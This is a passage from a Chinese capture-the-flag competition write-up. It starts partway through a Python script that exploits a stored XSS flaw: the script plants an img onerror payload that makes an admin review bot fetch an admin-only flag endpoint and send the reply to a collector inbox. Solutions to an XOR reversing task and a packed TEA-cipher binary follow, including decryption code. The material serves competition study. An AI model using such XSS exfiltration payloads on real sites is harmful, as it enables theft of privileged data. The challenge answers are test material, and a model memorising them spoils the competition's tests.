"try{const r=await fetch(`/api/admin/flag`);"
"await P(`[FLAG]`+r.status+` `+await r.text())}"
"catch(e){await P(`[ERR]`+e)}"
"})()" % collect_token
)
return '<p title="</xmp><img src=x onerror=\'%s\'>">' % js
def get_collect_token(sess, base):
"""首页会回显当前收信箱 token: Use /collect/<token> for blind review callbacks."""
html = sess.get(base + "/", timeout=15).text
m = re.search(r"/collect/([0-9a-fA-F]{6,})", html)
if not m:
sys.exit("[-] 首页未找到 collector token, 可用 -t 手动指定")
return m.group(1)
def create_memo(sess, base, payload):
r = sess.post(
base + "/api/notes",
json={"title": "recontext", "body": payload},
timeout=15,
)
r.raise_for_status()
data = r.json()
print("[+] 备忘录已创建: id=%s href=%s" % (data["id"], data.get("href")))
return data["id"]
def report_memo(sess, base, memo_id):
r = sess.post(base + "/api/report", json={"id": memo_id}, timeout=15)
if r.status_code not in (200, 202):
print("[-] 上报失败: %s %s" % (r.status_code, r.text[:200]))
return None
data = r.json()
print("[+] 已进入复核队列: report=%s status=%s" % (data.get("id"), data.get("status")))
return data.get("id")
def poll_flag(sess, base, token, wait, interval):
"""轮询收信箱, bot 的回连消息会追加在 <li><pre>...</pre></li> 里。"""
deadline = time.time() + wait
seen = ""
while time.time() < deadline:
try:
html = sess.get(base + "/collect/" + token, timeout=15).text
except requests.RequestException as exc:
print("[!] 收取信息失败: %s" % exc)
time.sleep(interval)
continue
body = html[html.find('<ul class="messages">'):]
if body and body != seen:
seen = body
for line in re.findall(r"**\[**(?:FLAG|ERR)**\]**[^<]*", body):
print("[*] bot 回连: %s" % line)
m = FLAG_RE.search(body)
if m:
return m.group(0)
time.sleep(interval)
return None
def main():
base = args.url.rstrip("/")
sess = requests.Session()
sess.headers["User-Agent"] = UA
token = args.token or get_collect_token(sess, base)
print("[+] collector token: %s" % token)
payload = build_payload(token)
print("[+] payload: %s" % payload)
memo_id = create_memo(sess, base, payload)
if report_memo(sess, base, memo_id) is None:
sys.exit("[-] 上报失败")
print("[*] 等待管理员 bot 打开 /review/%s ..." % memo_id)
flag = poll_flag(sess, base, token, args.wait, args.interval)
if not flag:
sys.exit("[-] 超时未收到 flag, 可加大 --wait 或检查目标是否可出网")
print()
print("[+] FLAG: %s" % flag)
return 0
if __name__ == "__main__":
sys.exit(main())
05
REVERSE
galgame
用反编译工具得出得到flag的逻辑脚本,观察脚本发现重要heart:
heart = b’OJN\x1b\x1a\x1c\x1aHULLI\x1dUL\x1c\x1dKU\x1a\x19KOULO\x1cHKJ\x1e\x1dO\x1a@\x19′
得到flag的逻辑是与0x78异或
那我们逆向异或得到flag
tea
查壳与解包
tea.exe 的 section 名为:
WCP0
WCP1
WCP2
入口点 0x140014270 是一个解包 stub。IDA 里看到的 sub_1400142A2 是解包器里的拷贝逻辑,不是校验函数。
直接运行原下载路径可能因为 SmartScreen 附加流被拒绝:
Program 'tea.exe' failed to run: 拒绝访问
复制到工作区后程序能正常运行。程序停在输入处时,壳已经把真实代码解到内存,因此 dump 运行时镜像再分析。
运行时字符串包括:
flag{
Please enter the flag:
Correct! well done.
Wrong flag.
主逻辑
解包后的 main 在运行时镜像中约为:
base + 0x15B6
逻辑如下:
- 打印
Please enter the flag: - 读取输入。
- 生成 TEA key。
- 用 TEA 解密 10 个
uint32_t密文。 - 拼接
"flag{" + 解密结果前 0x24 字节 + "}" - 用
strcmp和输入比较。
关键数据
密文:
uint32_t cipher[10] = {
0x7D7649E3, 0x6282C52C,
0xF4FEF264, 0x55CB8870,
0xA8AE752A, 0xA33AD53F,
0x1FA37C02, 0x6113601C,
0x60EF18B4, 0xEB31112C,
};
key 由四张表生成:
key[i] = k_d[i] ^ ((k_a[i] ^ k_b[i]) + k_c[i]);
最终 key:
0x683A4A7A
0x664A4407
0x80DB6ADE
0x3DAEF393
TEA 解密
解密函数是标准 TEA decrypt,delta = 0x9E3779B9,循环 32 轮:
sum = delta << 5;
for (int i = 0; i < 32; i++) {
v1 -= ((v0 << 4) + key[2]) ^ (v0 + sum) ^ ((v0 >> 5) + key[3]);
v0 -= ((v1 << 4) + key[0]) ^ (v1 + sum) ^ ((v1 >> 5) + key[1]);
sum -= delta;
}
exp为
import struct
MASK = 0xFFFFFFFF
CIPHER = [
0x7D7649E3, 0x6282C52C,
0xF4FEF264, 0x55CB8870,
0xA8AE752A, 0xA33AD53F,
0x1FA37C02, 0x6113601C,
0x60EF18B4, 0xEB31112C,
]
K_A = [0x1F2E3D4C, 0x0A0B0C0D, 0x11223344, 0x55667788]
K_B = [0xAABBCCDD, 0x99AABBCC, 0x33445566, 0x77889900]
K_C = [0x01020304, 0x05060708, 0x09101112, 0x13141516]
K_D = [0xDEADBEEF, 0xFEEDFACE, 0xABAD1DEA, 0x0BADF00D]
def u32(x):
return x & MASK
def build_key():
return [
u32(K_D[i] ^ u32((K_A[i] ^ K_B[i]) + K_C[i]))
for i in range(4)
]
def tea_decrypt(v0, v1, key):
delta = 0x9E3779B9
total = u32(delta << 5)
for _ in range(32):
v1 = u32(v1 - (
u32((v0 << 4) + key[2])
^ u32(v0 + total)
^ u32((v0 >> 5) + key[3])
))
v0 = u32(v0 - (
u32((v1 << 4) + key[0])
^ u32(v1 + total)
^ u32((v1 >> 5) + key[1])
))
total = u32(total - delta)
return v0, v1
key = build_key()
plain = b""
for i in range(0, len(CIPHER), 2):
plain += struct.pack("<II", *tea_decrypt(CIPHER[i], CIPHER[i + 1], key))
flag = b"flag{" + plain[:0x24] + b"}"
print(flag.decode())
06
交流群
-欢迎加入聊天交流-
微信交流群
QQ交流群
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:OnePanda-Sec OnePanda-Sec
OnePanda-Sec《第一届创宇杯网络安全技能大赛-WriteUp》